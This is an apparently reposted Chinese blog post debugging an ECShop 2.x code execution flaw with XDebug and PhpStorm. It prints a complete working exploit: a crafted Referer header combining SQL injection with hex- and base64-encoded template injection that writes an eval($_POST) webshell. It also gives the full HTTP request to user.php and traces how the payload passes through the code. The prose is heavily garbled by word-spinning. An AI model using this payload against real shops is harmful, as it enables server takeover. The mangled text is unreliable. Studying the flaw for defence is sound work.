Ecshop2.x代码执行漏洞动态调试分析

一、背景先容

号称海内最大年夜的开源网店系统,可以直接远程写入webshell。

本文会经由过程动态阐发来解析破绽每个细节,关于破绽道理可以看破绽道理,讲的很具体,本文重点先容动态阐发审计的技术和若何调试破绽,关于破绽本身也是一个很值得进修的破绽,能构造出这个进击链是必要对每个细节都有深刻的熟识才能实现的。

二、动态调试情况搭建

自行下载安装phpstudy和phpstorm

首先确定php版本

然后改动设置设置设备摆设摆设文件

改动php.ini中如下

[XDebug]

xdebug.profiler_append = 0

xdebug.profiler_enable = 1

xdebug.profiler_enable_trigger = 0

xdebug.profiler_output_dir =”C:\phpStudy\tmp\xdebug”

xdebug.trace_output_dir =”C:\phpStudy\tmp\xdebug”

xdebug.profiler_output_name = “cache.out.%t-%s”

xdebug.remote_enable = 1

xdebug.remote_handler = “dbgp”

xdebug.remote_host = “127.0.0.1”

zend_extension=”C:\phpStudy\php53\ext\xdebug.dll”

xdebug.remote_port=9000

xdebug.idekey= PHPSTROM

设置php版本,必然要对应上

下面图片是默认的不用动

下面的改动key和端口如下

在这里设置设置设备摆设摆设根目录调试情况

这里就留一个Chrome浏览器

Chrome浏览器要安装插件JetBrains IDE Support 下载安装好了不用改动设置设置设备摆设摆设,这样就基础可以了。

三、破绽动态调试阐发

下面进行动态阐发,动态阐发的好处便是破绽阐提议来加倍清晰。

下断点这里我们断到了破绽肇端点方便阐发每一个细节,然后点击debug,

然后浏览器会打开

然后点击登录,会触发断点,可以看到停到了断点处

下面先容应用的一些快捷键:

f7会跟进函数 ,

f8 步出也便是一行一行走,不进入函数,有些轮回或者不想看的函数直接f8,

进入函数后想跳出去就用shift+f8

Ctrl+art加 点击想要看的函数就会进入

Alt +f7 会搜索谁调用了这个函数或者变量

笔者常用的就这些,掌握这些技能后就可以调试

这里HTTP_REFFER可控到赋值到$back_act

我们先用burp抓包测试下破绽 ,先阐发下payload

554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:”num”;s:280:”*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10– -“;s:2:”id”;s:3:”‘/*”;}

554fcae493e564ee0dc75bdf2ebf94caads 这串可以分化成两块,一个是554fcae493e564ee0dc75bdf2ebf94ca,一个是ads,ads是节制函数流程进入到insert_ads函数,554fcae493e564ee0dc75bdf2ebf94ca前面的这个便是个hash,后面会对它判断,判断后会把它去掉落,没有它是进入不了进击链的,后面再动态阐发历程会先容到。

后面的编码部分化开是这样

{$asd’];assert(base64_decode(‘file_put_contents(‘1.php’,’ eval($_POST[1337]); ?>’)’));//}xxx

发包

GET /upload/user.php?act=login HTTP/1.1

[1] [2] [3]下一页

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Cookie: ECS_ID=3e839434a217e8c1f2a931f70086935a43141a6d; ECS[visit_times]=1

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:”num”;s:280:”*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10—“;s:2:”id”;s:3:”‘/*”;}

Connection: close

Upgrade-Insecure-Requests: 1

可以看的成功写入webshell

然后我们继承调试,我们先一起f8走到这里,然后再f7进入看看

这里的关键点是insert_mod,动态调用,由于我们没法子抓包发送payload测试,以是这里面我们必要自己改动参数让流程按照payload进击链来履行,进击链中必要履行insert_ads,下面的有个hash判断

下面的可以看到有这个hash,以是这里不必要节制,然后继承流程

下面图片中会把hash去掉落然后剩下$k,$k中的1,3,5,7都可以节制,以是这里我们在1改动它的值为我们的payload,右键点击setvalue

把这payload从新复制,右键setValue,这里直接复制会报错,照样一点点改动吧,然后双引号要转义

ads|a:2:{s:3:\”num\”;s:280:\”*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10– -\”;s:2:\”id\”;s:3:\”‘/*\”;}

继承f7进入到insert_mod里面,然后发明,insert_ads函数已经节制了,然则payload被反序列化时刻$para为false,阐明我们的payload有问题,点击debug从新来。

换了个位置改动,在反序列化函数之前改动,下面图片可以看到$para有值了,是我们的payload

继承走来到了insert_ads,一起f8,让我们的payload代入进了变量num

着末拼接成了这样

继承往下走,一起f8来到这里

然后f7进入看看,会把payload代入_eval代码履行函数,在这里payload还会被fetch_str处置惩罚,f7进入看看

F8来到这里,在这里之前source都没有变更,颠最后preg_replace会处置惩罚掉落{

payload变成$asd’;]assertxxx 代入到了select里

这个select函数跟入不进去,只能静态阐发下了,可以这样探求ctrl+shift+f

上一页[1] [2] [3]下一页

在select中进入了get_val,substr去掉落了$

Payload变成了:asd’;]assertXXX

进入到了make_var

着末拼接到了

终极payload变成

$this->_var[‘asd’];assert(base64_decode(‘ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp’));//’]

着末来到eval

这里再走一下就把shell写进去了

四、总结

经由过程动态阐发的要领可以很简单的理解破绽的进击历程,可以清楚的懂得payload在每个环节的处置惩罚历程,同时也方便我们进行进一步的改动和测试,对payload的构造能力进一步提升,盼望能赞助到大年夜家。

上一页[1] [2] [3]

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包